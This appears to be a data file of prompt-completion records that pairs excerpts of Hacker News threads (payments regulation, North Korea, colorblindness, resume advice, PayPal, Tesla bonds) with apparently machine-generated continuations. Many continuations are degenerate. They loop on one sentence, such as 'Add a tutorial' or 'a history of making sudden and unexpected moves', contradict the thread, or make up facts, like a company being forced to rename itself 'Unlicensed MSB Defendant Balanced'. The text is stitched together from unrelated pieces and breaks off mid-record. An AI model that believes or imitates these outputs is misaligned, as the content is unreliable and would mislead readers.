Google:\n[http://www.google.com/design/spec/material-\ndesign/introducti...](http://www.google.com/design/spec/material-\ndesign/introduction.html)\n\n------\ngrandalf\nI think the choice of pattern depends a lot on what you are building and how\nmuch and how often you will need to change it.\n\n------\njkinz86\nI think what you're looking for is Harry Roberts' ITCSS?\n\nwww.youtube.com/watch?v=1OKZOV-iLj4\n\n------\nblawa\n(I'm new to HN so not sure how to edit) Thanks for some excellent answers.\n\nSo as to keep the discussion to the question's point for posterity, I think I\nwasn't very clear. As some people have poined out- I'm not looking for graphic\ndesign patterns, or design from the user experience perspective. I'm looking\nfor how to design my components. and what should classify as a component, or\nwhat should be an individual template. What should go as a parent and as a\nchild in the component. Thanks again!\n\n \nHow We Realized Putting Radium in Everything Was Not the Answer - ajna91\nhttps://www.theatlantic.com/health/archive/2013/03/how-we-realized-putting-radium-in-everything-was-not-the-answer/273780/\n======\nsmacktoward\nIf you are interested in this subject, I highly recommend picking up a copy of\nDeborah Blum\u2019s excellent 2011 book _The Poisoner\u2019s Handbook_\n([https://www.amazon.com/Poisoners-Handbook-Murder-Fore"} +{"output_text": "few years ago. It was a payment system that allowed you to send money to\nsomeone else by taking a picture of their face.\n\n(2) The company was sued by the state of California for violating the Unfair\nCompetition Law. The lawsuit was dismissed, but the company was forced to\nchange its name to Unlicensed MSB Defendant Balanced.\n\n(3) The company was sued by the state of California for violating the Unfair\nCompetition Law.", "input_text": " paymentsstartup should know everyone \u2013 literally\neveryone, including regulators and thegovernment \u2013 is going to be working\nagainst you. If you can\u2019t take the heat, get out of the kitchen and go start a\nphotosharing startup.\u201d\n\n\u201cPayment startups face a far more adversarial environment, including utter and\ntotalhostility. It was okay for PayPal to whine about this (though they\ndidn\u2019t), because itwasn't known. But now it\u2019s known. If you run a payments\nstartup, you are fightingagainst thugs, actual criminals \u2013 both real ones and\ngovernment ones. It is not normalbusiness. It is like trying to start a\nbusiness in an actual warzone. Complaining aboutthis is just whining. There is\nno actual solution than to win. Anything else is, in fact, justwhining.\u201d\n\nPresumably with the hope of \u201cwinning,\u201d Defendant Wong proceeded to invest his\nown personalfunds in Unlicensed MSB Defendant Balanced (part of a $3.4 million\nseed financing round)\n\n~~~\nwisty\nTrying to create political pressure against these \"thugs\" isn't necessarily a\nbad move. Let's say you want to start a company which bypasses Taxi\nmedallions. It's in your interest to create a PR storm over the unfairness of\nthe medallion system. It's _not_ OK to be surprised when the entrenched powers\ntry to bite you (though it may not hurt to _act_ surprised). Of course, if you\ndon't have the stomach for it, you shouldn't be getting into the space.\n\n------\njluxenberg\nSome context:\n\n(1) Think Computer Corporation built FaceCash () a\n"} +{"output_text": " improve your decision making.\n\nI would also recommend reading a book on the psychology of productivity.\n\n------\nmatt_the_bass\nI\u2019m not sure what you mean by \u201cI\u2019m not sure what I want to do with my life\u201d.\n\nI\u2019m not sure what you mean by \u201cI\u2019m not sure what I want to do with my life\u201d.\n\nI\u2019m not sure what you mean by \u201cI\u2019m not sure what", "input_text": "I would then probably keep at the English teaching until your situation has\nstabilized if you can stand it.\n\nAfter a while I\u2019d slowly (and cheaply) try to bootstrap something, if that\u2019s\nwhat interests you.\n\n~~~\nbrandelune\nA KK in Japan is currently the least expensive option. Basically all you need\nis to pay for the registration paperwork (about \u00a5300k) and what used to be a\nminimum capital of \u00a510 million has now no minimum.\n\nThere used to be Yugen (limited responsibility) with a minimum capital of \u00a53\nmillion but it disappeared with the new KK law.\n\nThat was about 12 years ago.\n\n~~~\nxevb3k\nDepending on your VISA type you can also operate as a sole proprietor (kojin\njigyo) as I understand it. I think that\u2019s cheaper and easier?\n\nI\u2019d still just be tempted to set something up in another country and operate\nvia that until things started to pan out.\n\n------\nToine\nMy advice : abort everything. You seem to need mental support and that's ok,\neverybody does at some point. Go back to a place where you feel secure and\nhave family/friends/anything that can help you. Throwing 50k USD into a\ncompany that has no purpose is insane. Doing so after multiple years of being\nunable to produce anything is beyond insane.\n\n------\n_5meq\nIt sounds like you have a dysfunction with decision making and productivity.\nThis is something you need to deal with.\n\nIt's OK! It happens to a lot of people. This is something you can study and\nimprove.\n\nI highly recommend reading a few books on productivity and making good\ndecisions in order to"} +{"output_text": " example, but I\ndo have a tendency to be more productive when I'm not stressed. I'm not\nsmoking, but I do have a tendency to be more productive when I'm not stressed.\n\n~~~\ncontingencies\n_I 've been one at different times, probably qualify, and would rather work\nwith a pothead who is stoned all the time than a drunk._\n\nI'm not sure I agree with this. I've known a few people", "input_text": " dishes a bit better than I do. (Although I often complete the same\ntask more quickly)\n\nI definitely still prefer my choice to his, I am aware that my decisions\nchanging the reward centers of my brain. Mowing the lawn will never be a fun\ngame to me, because I have _actual_ fun games to play.\n\n------\ncontingencies\nThings to try:\n\n\\- get more sleep\n\n\\- time off to recharge / re-motivate\n\n\\- meditation / yoga / exercise\n\n\\- try to stop using stimulants (includes caffeine/nicotine/sugar) or try\nusing different stimulants (eg. arecoline)\n\n\\- absolutely do not smoke marijuana, it is known to make many people lazy and\ndemotivated\n\n\\- control your environment (quiet, no phone, phone off, offline)\n\n\\- clean your environment (zero clutter)\n\n\\- change your environment (fresh space)\n\n\\- remove all distractions (visual, audio, etc.)\n\n\\- try different times of day (eg. sleep early, wake then work early AM before\nsunrise)\n\n~~~\nBroken_Hippo\n_absolutely do not smoke marijuana, it is known to make many people lazy and\ndemotivated_\n\nThis is the stereotype. Sure, some folks get lazy, but same for lots of drugs,\nincluding alcohol. How many potheads have you known? I've been one at\ndifferent times, probably qualify, and would rather work with a pothead who is\nstoned all the time than a drunk. Lazy isn't due to marijuana, but rather the\nperson smoking and to an extent, their reaction and tolerance level.\n\nWith me is the opposite. I don't clean house more or lesse, for"} +{"output_text": "hed his intention to meet Kim\n> Jong-un, and the North Korean leader is a mercurial figure who has a\n> history of making sudden and unexpected moves.\n\n> The North Korean leader has a history of making sudden and unexpected moves.\n\n> The North Korean leader has a history of making sudden and unexpected moves.\n\n> The North Korean leader has a history of making sudden and unexpected moves.\n\n> The North Korean leader has a history of making sudden", "input_text": " support the Kim family.\n\n~~~\nflycaliguy\nI would be careful to underestimate the North's ability to fight a war. You\ndon't need cutting edge technology with the sort of topography they've got.\nLook at a topographic map of North Korea. It's mountain ranges and valleys.\nDense veg, steep drops, spots for tunnels, rapid currents. You could put an\narmy from the 50s in there and have a hell of a time getting them to quit.\n\n~~~\nhangonhn\nI don't doubt their ability to defend their own territory and your point about\nthat is correct. However, I don't see South Korea being the aggressor. If\nthere is a war, North Korea would be the aggressor and I doubt their current\nability to successfully invade and conquer South Korea. They would have to\nacquire new conventional capabilities to do that and a viable economy is\nnecessary for that development.\n\n------\ntoblender\nI can sense the skepticism in the comments, but this is amazing news!\n\nAll those people suffering from lack will have a chance to take part in our\nmodern abundance.\n\nI can only imagine what will happen when NK opens it's doors to SK fully.\nThere will be a massive demand for good and services. Exciting times!\n\n------\n21\nFrom the Guardian, which can't be accused of being a Trump lover:\n\n> This system of indoctrination and propaganda complicates any official\n> announcement of the Trump meeting. An ideological framework must be devised\n> to explain the talks with the enemy; and regardless of how they are\n> presented, there is an uncomfortable margin for the \u201cinfallible\u201d leader to\n> be seen to fail in his aims.\n\n> Trump is a volatile opponent who telegrap"} +{"output_text": " is red-green colorblind.\n\n~~~\najuc\nI'm red-green colorblind, and I can see red and green. I can't see pink and\nyellow, but I can see red and green.\n\n~~~\nPeterWhittaker\nI'm red-green colorblind, and I can see red and green. I can't see pink and\nyellow, but I can see red and green.\n\nI'm not sure what you're trying to", "input_text": " a\npatch of wild strawberries. I'm partially red-green colorblind and for every\nstrawberry I found, my friend found ten. They were almost invisible to me.\nIt's neat to see that the fourth cone's response curve peaks right between the\nred and green cones' curves in tetrachromats. I bet they are amazing at\nfinding berries.\n\n~~~\nsuch_a_casual\nWhat does it mean to be partially red-green colobrlind? Isn't it the case that\nyou either have the red-green cone or you don't?\n\n~~~\najuc\nI don't know how it works, but I have it - I can see red and green and pink in\nbig blobs, but when there's lots of small red and green (or pink) details\nmixed - they seem the same to me (if their darkness is similar).\n\nAlso I have problems with big uniform colour areas it there's small amount of\ngreen mixed with pink or red and vice-versa. I was making a sunset skybox for\na game, and friends were wondering why the sky is slightly green - for me it\nwas pinkish-red-yellow, but I put there some green by mistake.\n\n~~~\nsuch_a_casual\nThat sounds like standard red-green colorblindness.\n\n~~~\najuc\nGood to know, I thought standard red-green color blindness is when you don't\nrecognize these colors at all.\n\n------\nPeterWhittaker\nVery inaccurate summary, since I skimmed: Up to 12% of women have an X\nchromosome mutation that creates a fourth cone. This cone generally overlaps\nthe spectral region covered by the cones sensitive to red and green. The exact\narea of overlap determines whether or not each woman"} +{"output_text": "recruiters.\n\nInclude your work experience if it's relevant to the job you're applying for.\n\nDon't include your GPA if it's below 3.0/4.0.\n\nDon't include your community college unless it's relevant to the job you're\napplying for.\n\nDon't include your work experience unless it's relevant to the job you're\napplying for.\n\nDon't include your community college unless it's relevant to the", "input_text": "\nyou've got stuff you did before college that's interesting, figure out how you\ncan bring it up. You have to play up whatever potential positives you have.\n\n------\nteahat\nGPA - absolutely. If it's not there, the assumption will be that the reason it\nisn't there is because it's bad (especially as a new grad). Like when you look\nat a 2nd hand car listing and they leave off mileage - you know it will be\nhuge. Transcripts, no - they just add unnecessary padding at this stage,\nnobody wants to read those unless they absolutely have to, so they'd only be\nasked for at the end of the process, if at all.\n\nBut more importantly than either of these - you should write your resume\ndifferently depending on what you are applying for. Highlight what is most\nvaluable to the organization you are applying to. If this means you have to\nreduce the number of applications you send out, that's fine, it's much better\nto have fewer well targeted applications.\n\nAnd try to state facts, not claims. By which I mean - don't claim to 'work\nwell in a team', or have 'excellent X'. Show what you've done and the impact\nit had. If you wrote something cool at the age of 10, I can infer that you're\nsmart and self-directed from that.\n\nGood luck.\n\n------\ncaw\nFrom my experience: Don't include your community college, unless that's where\nyour degree is from. Even then, if you got an AS at a community college and\nthen got a BS, just drop the AS.\n\nInclude your GPA if it's better than 3.0/4.0. That's the cutoff point for most\n"} +{"output_text": " condiments, they'll bring you a small container of the sauce.\n\nI've never seen this at any other McDonald's.\n\n~~~\njrockway\nI've never seen this at any other McDonald's.\n\n~~~\nboredguy8\nI've seen it at a few other places, but I've never seen it at a McDonald's.\n\n------\njrockway\nI don't think this is a good idea. If you want to eat at", "input_text": " menu.\n\nHe basically wanted a side of wheat toast but this did not come with the menu\nitem he wanted.\n\nJack: \"What do you mean you don't make side orders of toast? You make\nsandwiches, don't you?\"\n\nWaitress: \"Would you like to talk to the manager?\"\n\nJack: \"You've got bread and a toaster of some kind?\"\n\nWaitress: \"I don't make the rules.\"\n\nJack: \"OK, I'll make it as easy for you as I can. I'd like an omelette, plain,\nand a chicken salad sandwich on wheat toast, no mayonnaise, no butter, no\nlettuce. And a cup of coffee.\"\n\nWaitress: \"A number two, chicken sal san, hold the butter, the lettuce and the\nmayonnaise. And a cup of coffee. Anything else?\"\n\nJack: \"Yeah. Now all you have to do is hold the chicken, bring me the toast,\ngive me a check for the chicken salad sandwich, and you haven't broken any\nrules.\"\n\nWaitress: \"You want me to hold the chicken, huh?\"\n\nJack: \"I want you to hold it between your knees.\"\n\nThe whole exchange is found here:\n.\n\n~~~\natarashi\nHere's a clip of that exchange: \n\n------\nboredguy8\nThere's a McDonald's near where I work that charges for some condiments\n(barbecue sauce, for instance) if you didn't order specific food items. If you\nask for the"} +{"output_text": "\n~~~\nstared\nI am not sure if I understand your point.\n\nI am not saying that Europe is less likely to be abused by some tech company.\nI am saying that Europe is less likely to be abused by some tech company,\nbecause it is more cautious.\n\n~~~\nchunkyslink\nI think you are missing my point.\n\nI am not saying that Europe is less likely to be abused by some tech company.\nI am saying that Europe", "input_text": "cco\nAre they going after the 40+ dating market? Surely the dating app demographic\nisn't on Facebook anymore, though maybe Facebook is still popular in the 18-30\nage range in Europe? I just don't know.\n\n~~~\nMilner08\nIn the UK its certainly not popular with the late 20's crowd. There are still\nsome people hanging on in there but most people seem to have (thankfully)\ngiven up on it for anything other than messages and the occasional event.\n\n------\nstared\nThere are various takes on that, which of course depend on values each person\n(and country) considers as the most important.\n\nIn my personal opinion, Europe (in which I live) as an \"Amish bias\" [1], i.e.\nby default being more cautious about introducing new technologies. I am\nalready annoyed by the constant cookie pop-ups that significantly affect my\nbrowsing experience but on mobile.\n\nYes, there are risks with all technologies. But with the current mindset,\nEurope is setting itself way back comparing to the USA... which is much more\ncautious than China. Or in other words, Europe sets itself to be the World's\ncalm countryside, in which people live as they used to.\n\nSome (maybe even the majority) may like it. Personally, I am asking myself\nfrom time to time - when it is time to move to Asia.\n\n[1] [https://kk.org/thetechnium/amish-\nhackers-a/](https://kk.org/thetechnium/amish-hackers-a/)\n\n~~~\nchunkyslink\nBeing concerned about privacy is not an Amish Bias, it means our citizens are\nless likely to be abused by some tech company.\n"} +{"output_text": " to say?\n\n~~~\njashkenas\nI think the author is just trying to make a point about the way that\njavascript is used in the wild, and the way that it's used in node.js.\n\nI think that the author is right that node.js is a bit of a mess, and that\nthere are some things that it's doing that are not ideal.\n\nBut I think that the author is wrong to suggest that node.js is", "input_text": " world from the db, service the request, and then destroy the world\nyou've just created. For structural things like MVC, objects are great, but\nyou really don't see much of the \"object as vehicle for data encapsulation\"\nthat's drilled into every new programmer when they're first taught OOP.\n\nThe client, on the other hand, _can_ persist data and objects through\nrequests, and the only time it needs to be fully refreshed is on a full\nreload.\n\n~~~\ncwp\nAh. But that isn't an issue of language or object-orientation. There are\nserver-side frameworks that _don't_ throw away the world, and client-side\nframeworks that do. (Notice how your javascript state is thrown away everytime\nyou load a new page in the browser). That's a design decision that's made\npossible by the statelessness of HTTP, but not required by it.\n\n~~~\ngbog\nCertainly, but throwing away the world is natural on server side code and it\nmeans that your carefully crafted object don't live long and many of them\ndon't need too be objects, they are micro namespaces for a set of methods. I\nnever tried node.js for real but one good side off it could be that you are\nnot pushed towards objects like you are with Python, Ruby, Java, etc.\n\n------\nleephillips\nThe author refers to this seething criticism of node\n(. html), that I've seen\nbefore, and then just soldiers on without addressing it. I'm not well versed\nenough to know whether Dziuba's analysis is not the mark or not. What do the\njavascript/node experts here have"} +{"output_text": " it)?\n\n~~~\nn_ary\nI think it is not that weird. I think it is just a way to verify identity.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I agree with\nthe author's premise that \"PayPal is a company that is notoriously bad at\ncustomer service.\" I've had a few issues with PayPal and they've always been\nquick to resolve them. I've", "input_text": "ezerjay\nPaypal provides an effective dispute resolution process and enables customers\nto pay for stuff by explicitly authorizing a payment and without giving away\ntheir payment info to unknown third-parties.\n\n~~~\nthcsa\nI once saw a pdf which listed all the third parties that PayPal shares its\ninformation with. It was more than 30 pages.\n\n~~~\nCharlesColeman\n>> Paypal provides an effective dispute resolution process and enables\ncustomers to pay for stuff by explicitly authorizing a payment and without\ngiving away their payment info to unknown third-parties.\n\n> I once saw a pdf which listed all the third parties that PayPal shares its\n> information with. It was more than 30 pages.\n\nWhat kind of info do they share with those third parties?\n\nI think the GP's point stands, since the \"unknown third-part[y]\" that\ncustomers are usually _most_ concerned about is _the merchant_, which Paypal\ndefinitely doesn't share payment info with (like CC numbers).\n\n~~~\nn_ary\nOfftopic: PayPal shares more than we think it does. I've had issues where\ncertain merchants asked me to confirm identity by sending copy of utility bill\nfor address I had on PayPal account. I thought my address is private so sent a\nbill for my siblings house where I also paid the bills for internet, but they\nreported that address is not same with PayPal, so I argued a bit but\neventually had to send one for correct address. I think that, PayPal doesn't\nshare CVV but merchants can view all personal info attached to my PayPal\naccount.\n\n~~~\nCharlesColeman\nThat doesn't seem too weird to me. Wouldn't most merchants necessarily have\nyour address in order to provide services to you (shipping would definitely\nrequire"} +{"output_text": " a\ncharacter you expect to see in output.\n\n~~~\nchungy\nI did, but I think it's still a bit ambiguous. I'll see if I can find a\nbetter way to do it.\n\n------\njwilk\nI don't understand why the author is so obsessed with the \"\u23ce\" character.\n\n~~~\njwilk\nI'm not the author, but I'm curious about the same thing.\n\n~~~\n", "input_text": "81fe3e91d92738](https://www.loom.com/share/5eab7cfb4590475a8881fe3e91d92738)\n\n------\nsimias\nI love this article, as a long time ZSH user it's one of these things I've\nalways wondered how they were implemented but never cared to investigate\nmyself. It's really a clever hack too, if I had been asked to implement this\nfeature my default approach would definitely have been to find a way to\nintercept the command's output somehow.\n\n------\nnneonneo\nA slight improvement: adding \"\\\\\\033[K\" to the end, i.e.:\n\n \n \n PROMPT_COMMAND='printf \"\u23ce%$((COLUMNS-1))s\\\\r\\\\033[K\"'\n \n\nkills the extra spaces at the end, which can help alleviate some of the\nweirder line wrapping that occurs when resizing a terminal window.\n\n(I believe zsh uses something like \\033[J${PS1}\\033[K for similar effect).\n\n~~~\nJetSpiegel\nThis is a great addition to the post, thanks for this.\n\n------\nchungy\nThis is such a wonderful little hack, I've placed it into my.bashrc. Thank\nyou!\n\nI did actually modify it a little bit, got rid of the two beginning %s in\nfavor of \u23ce. It's not a character I expect to really happen to end legitimate\noutput of a program, so it seems more than good enough to keep it from being\naccidentally intended.\n\n~~~\nopk\nApply some attributes to it if you want it to be clearer that it isn't"} +{"output_text": " Hat has always taken the position that the\n> preferred form is a.tar.gz.\n\n> The Linux kernel is a large and complex project, and it is not practical to\n> expect that every developer will be able to build the entire kernel from\n> source code.\n\n> The Linux kernel is a large and complex project, and it is not practical to\n> expect that every developer will be able to build the entire kernel from\n> source code.\n\n>", "input_text": ". (not saying that's the case here)\n\n[1]: [http://github.com/johnath/beep/](http://github.com/johnath/beep/) [2]:\n[https://wiki.debian.org/UsingQuilt](https://wiki.debian.org/UsingQuilt) [3]:\n[https://sources.debian.org/src/beep/unstable/](https://sources.debian.org/src/beep/unstable/)\n\n~~~\n0x0\nThanks for your detailed reply.\n\nI'm still curious about the general case of GPL and Git. If I were to hack on\nsome GPL-licensed software, my \"preferred form of the work for making\nmodifications\" would hands-down be a.git repository, because all the\nindividual git commits and commitmsgs are important (meta-)information, almost\nas important as the source code files themselves. It also makes collaborating\non improvements much easier when you can work on git commit objects, with\ntheir parent(s) commit hash references. Without those, determining where and\nif a.patch should be applied to a source code dump becomes much harder.\n\nIn other words, if there exists a.git repository for a given piece of\nsoftware, and all one gets is a.tar.gz flat source dump snapshot, I feel\nlike... something has been left out?\n\n~~~\nlwf\nThis came up when RedHat stopped breaking out their patches against the Linux\nkernel: [https://lwn.net/Articles/432012/](https://lwn.net/Articles/432012/)\n\nRelevant parts quoted:\n\n> While there can certainly be arguments about what \"preferred form\" means for\n> source code distributions, Red"} +{"output_text": ".autoblog.com/2017/01/26/mercedes-benz-\nf-cell-fut...](http://www.autoblog.com/2017/01/26/mercedes-benz-f-cell-\nfuture/)\n\n~~~\npmlnr\nI'm not saying they should stop, but they should stop pretending to be\nworking on it.\n\n------\njlebrech\nI don't understand why they don't just", "input_text": " to\nsupply batteries for one EV model._\n\nPlease point me to a factory that actually produces 35GWh/a ;)\n\n~~~\ndingo_bat\nThat video is awesome, it almost looks like the car factory in minority\nreport!\n\n------\ndemarq\nI would have thought the car would have been a valuable platform for them gain\nknowledge and insight into the electric side of the industry.\n\nIf some years later they decide to start again, they'll have lost significant\nadvantage, and I'm not talking about the technology side of things but the\nrest of the business mix that's involved.\n\n~~~\nskgoa\nThe electric B-class used Tesla drivetrains. Mercedes are switching to their\nown electric drivetrains.\n\n------\nmerb\n> So there\u2019s a tip for everyone \u2013 if you don\u2019t want a dealership to call you\n> back, just tell them you\u2019re looking to buy an EV.\n\nlol.\n\n------\npmlnr\nGood. Now start working on hydrogen-cell, like the Japanese.\n\n~~~\nMagnumOpus\nThey've been working for it for 25 years and have been the first-mover in the\narea: [https://de.wikipedia.org/wiki/Mercedes-\nBenz_NECAR](https://de.wikipedia.org/wiki/Mercedes-Benz_NECAR)\n\nCurrent iteration of their fuel cell efforts:\n[https://en.wikipedia.org/wiki/Mercedes-Benz_F-\nCell](https://en.wikipedia.org/wiki/Mercedes-Benz_F-Cell)\n\nHowever they don't believe in it any more and will likely stop\ndevelopment/research: [http://www"} +{"output_text": " smart enough to not use your service for\nanything that requires security.\n\n~~~\nlacker\nThanks for the feedback. We're always looking to improve the security of our\nservice, and we're always happy to hear about ways we can do that.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI can't see how this is better than just using a database.\n\n~~~\nlacker\nIt's not better than", "input_text": " this is inappropriate for all but the most basic use\ncases.\n\n~~~\nlacker\nHi Scott. Just to clarify, the client API does not use the app's global\ncredentials, but the client credentials which have their access limited in\nseveral ways. One is the per-column access configuration, which lets you set\nup objects where access is restricted to users with the relevant token. The\nother main security restriction is user-based authentication, which ensures\nuser data can only be updated by a client authenticated as that user. The\ncombination of these security methods handle a lot of use cases, and we're\nalways looking to add more security functionality to make more use cases work\nsecurely.\n\nIf you have a specific application in mind, I'd love to chat with you about\nhow it maps onto our security model. Feel free to drop me a line at\nkevin@parse.com.\n\n~~~\nscotth\nI do see \"class\" level permissions, as I mentioned in my previous post, but\nnothing suggesting that finer grain control exists. I do see that you can\nstore data on the authenticated user, which is a good start.\n\nAnd if better security is something that's in the works, that's great. I'm not\nlooking to give you guys a bad name. I just saw this being talked about in the\nstartups I work around, and felt as if some of the less experienced developers\nwere not considering what implications using a service like this might have.\nIt's convenient, I'll give you that -- but instead of facilitating good\nsecurity through its APIs, it obscures the need for it altogether. And from\nwhat I can see, it would be difficult for you guys to encourage good practice\nwithout being heavy handed.\n\nLet's just hope your users are"} +{"output_text": "\n\n* Add a leaderboard\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n*", "input_text": "\nthat sounds like the easiest suggested challenge so far :P\n\n------\ntylerpachal\nI'd like to enrol in a culinary arts class to learn more about cooking! I\nthink a month would be enough time to complete some courses at one of my local\ncolleges.\n\n~~~\nmezod\nthat looks like a good idea! I bet your stomach agrees :P Yeah a month should\ncover you on at least 5 or 10 recipes!\n\n------\nguptabot\nGrow my weekly newsletter to atleast 1000 subs from the current 100:\nwww.tinyletter.com/harshalbot\n\n------\nrodolphoarruda\nI live in S\u00e3o Paulo, Brazil. I would try to get to Ushuaia by car via Chile\nall the way down to the Tierra del Fuego.\n\n~~~\nmezod\nOh boy oh boy, you are one of mine! Roadtrippers for the win! Just do it! How\nmany km do you estimate?\n\n~~~\nrodolphoarruda\nIt's hard to estimate the KMs because you are always making small detours to\nvisit places as you go. In terms of time/duration, the roundtrip takes a full\nmonth, so very much aligned with OP's question.\n\n------\nWorksOfBarry\nI'm gonna spend a lot of the month working on my git client for IBM i.\n\nNew features, documentation and feedback\n\n------\ntdy721\nfinish [http://videopoker.academy](http://videopoker.academy)\n\n* Get a trainer version playable without sign in\n\n* Add history and stats interface\n\n* Work up a tutorial\n\n* Integrate Stripe\n\n* import style + FX"} +{"output_text": "ethroned.\n\n~~~\njoezydeco\n_I have just described Withdrawals. I haven 't even begun to describe the\nhardship of \"Deposits\", because you're actually in-line with being a quasi-\nbank, which has another set of licenses, permits and fees._\n\nI'm not sure I follow. You're saying that you can't withdraw money from a\nPaypal account?\n\n~~~\njoezyde", "input_text": " they're usually tech savvy\nand might provide an API. You maintain balance with them and they take care of\nthe 'Last Mile' of paying out and are fully licensed (hopefully). They charge\na fee, and depending on Paypal, they pass it unto you or bake it in with their\nmargins. A side note USDNGN has a black market rate that's way better than the\nbanks, maintaining balance with a bank might be less competitive vs finding an\naggregator that can offer you USDNGN black market rates.\n\nThat's the basic gist for the treasury work. Legal work mainly is to actually\nopen a bank account and keeping in line with a country's AMLA and KYC\nregulations are another cost. Otherwise they'll shutdown your bank accounts.\nDepending on the speed/red-tape of the government processes, you'd have to\nbake in legal fees and months of back and forth with government agencies.\n\nI have just described Withdrawals. I haven't even begun to describe the\nhardship of \"Deposits\", because you're actually in-line with being a quasi-\nbank, which has another set of licenses, permits and fees.\n\nThis is just for 1 country. Every country has it's own quirks, what you did\nfor Nigeria cannot be replicated to say, paying out in KRW or IDR. They will\nhave different licenses, legal fees, aggregators and banks, cash pickups, bank\naccount limits/thresholds, that you'll have to sort and scope out. Not to\nmention the amount of local competition. You'll also have to keep tabs of\nchanges in regulation, national holidays or changes in a bank/aggregator's\npolicies.\n\nHopefully this outlines why Paypal cannot be d"} +{"output_text": "attmanser\nI'm not sure why you're getting downvoted.\n\nIt's a good article, and it's a good idea.\n\nIt's also a good idea to have a look at the tax rates in the US.\n\n~~~\njazzychad\nI'm not sure why you're getting downvoted.\n\nIt's a good article, and it's a good idea.\n\nIt's also a good idea to have a look at", "input_text": "! I just got a Fitbit for Christmas and these graphs are a\nlot better than the ones on the Fitbit site. The best part is they work on iOS\ndevices unlike the Flash ones that Fitbit uses.\n\n------\nluckysh0t\nlibs:\n\n\\- PayLib (about to be gutted and\nrebuilt)\n\nsites:\n\n\\- Kickstartit \n\n\\- Ghost Messenger \n\nbones:\n\n\\- nltk on app engine \n\n------\ncloudsteam\nMy one and only side project - (WARNING NSFW)\n\n------\nsycren\nCould you share the reasons for your choice in technologies in the stack?\n\ni.e node.js, mongodb, heroku, php, ruby etc.\n\n------\nknes\nBankersBox looks nice! A shame you didn't \"finish it\" with the implementation\nof hashes & co.\n\n~~~\njazzychad\nI'd still like to... or for someone else to! In 10 months nobody has done it,\nso it might be up to me after all.... or it means that nobody really\nwants/needs it. It would be fun as an academic exercise, though.\n\n \nUS Workers Are Paying High Taxes. But Without Any of the Benefits - mjfern\nhttps://jacobinmag.com/2019/04/labor-tax-rates-united-states-health-insurance\n======\nm"} +{"output_text": "\nI think the most important part in the article is that the virus is a\nsymptom.\n\nThe virus is a symptom of a much larger problem.\n\nThe problem is that we have a global economy that is based on a system that\nhas been in place for over a century.\n\nThe problem is that we have a global economy that is based on a system that\nhas been in place for over a century.\n\nThe problem is that we have a global", "input_text": "ractices entirely. So it might happen again in a region where the government\nhave less control. That's the scary part.\n\nIt's eye-opening that unscientific beliefs are actually endangering lives. It\nwas true for anti-vax, but now we have reached a stage when ignorance reached\na new stage of dangerosity.\n\n~~~\nillumin8\nIt's more than wet markets, although those are obviously dangerous. It's the\ncontinued expansion of human population into rainforests and other wildlife\nareas:\n\n> Yes. EcoHealth Alliance, an NGO, and others, looked at all reported\n> outbreaks since 1940. They came to a fairly solid conclusion that we\u2019re\n> looking at an elevation of spillover events two to three times more than\n> what we saw 40 years earlier. That continues to increase, driven by the huge\n> increase in the human population and our expansion into wildlife areas. The\n> single biggest predictor of spillover events is land-use change\u2014more land\n> going to agriculture and more specifically to livestock production.\n\nThis is not going to be fixed easily. Everything from the deforestation of the\nBrazilian rainforest to Chinese population growth is driving it.\n\n------\nPhenomenit\nI think the most important part in the article is that with the wave of\npopulism and nationalism sweeping the world it's evident that this mindset is\nincapable of solving any real problem on any scale. Even if the virus goes\naway and the economy bounces back we've learned nothing and climate change and\nanother wave of pandemics is upon us.\n\nIt's clear that market capitalism isn't resilient or robust. Our engine must\nalways run on red and sooner or later it's going to brake down.\n\n~~~\nerpellan"} +{"output_text": "-it-comes-to-\nbonds-tesla-s-bonds-are-a-hit)\n\n~~~\nnopriorarrests\nI am not sure what you mean by \"other types of bonds\".\n\n~~~\nslg\nI am referring to the fact that Tesla has been able to sell bonds in the past\nwithout having to raise money from the capital markets.\n\n------\njedberg\nI'm not sure how much of this is", "input_text": " million in Q4, its biggest quarterly loss yet\"\n\n~~~\nslg\nTesla's bond offerings are routinely oversubscribed. The market is clearly\nwilling to continue to give them more and more money. I therefore find the\nidea dubious that Tesla needed to be super aggressive with their production\ntargets or else they would run out of cash.\n\n~~~\nnopriorarrests\nIf I recall correctly, their last offering was more or less positioned like\n\"according to our production estimates, this is, probably, last time we ask\ncapital markets for cash infusion\", and it was at the height of excitement\nabout the Model 3.\n\nAs of now, however, these bonds (1.8bln, issued last August) are trading\nunderwater [0]. They will probably tap the market once again this year, and we\nwill see what happen.\n\n[0] [https://www.marketwatch.com/story/teslas-junk-bonds-are-\ntrad...](https://www.marketwatch.com/story/teslas-junk-bonds-are-trading-\nunder-water-and-it-could-spell-trouble-for-elon-musk-2017-11-10)\n\n~~~\nslg\nThose were junk bonds in August. Tesla is still having success with other\ntypes of bonds. Here is a more recent offering from January with lease backed\nbonds [1]. Tesla sold $546m worth but had orders for roughly $7b.\n\n[1] - [https://www.bloomberg.com/news/articles/2018-01-31/when-\nit-c...](https://www.bloomberg.com/news/articles/2018-01-31/when"} +{"output_text": " the microphone.\n\n~~~\njlgaddis\n> _In my opinion hardware should be designed so that the camera LED lamp should\n> always be lit if the camera is used._\n\nI agree with you, but I don't think that's what the article is about.\n\n------\njlgaddis\nI'm not sure if this is a hardware issue or a software issue, but I've had\nthis happen to me on a couple of occasions.\n\n", "input_text": "\n\nI think that every electronic camera and mic device should have a hard\nswitch/button that physically disables both the camera and mic. Having to use\ntape or a cover does not keep you from being spied on; it only eliminates the\nvisual spying. The attacker can still listen.\n\n~~~\nzyngaro\nSmartphones represent a bigger security risk in that regard. Front facing rear\nfacing, mic all ones personal data, pictures and so on.\n\n~~~\nJohnStrange\nHardly. You put your phone on the desk and it's going to show the ceiling. In\ncontrast to this, people do all kinds of weird things in front of laptops.\nI've even heard once of someone who allegedly masturbated (!) in front of a\nlaptop. Of course, that must have been an extreme outlier...\n\n------\njanvidar\nIsn't this really just a sign of flawed hardware design?\n\nIn my opinion hardware should be designed so that the camera LED lamp should\nalways be lit if the camera is used. If there is a malfunction with the LED,\nthen the camera should also not work. Also there should be a hardware LED for\nwhen the microphone is being used which should work in the same fashion for\nlaptops with 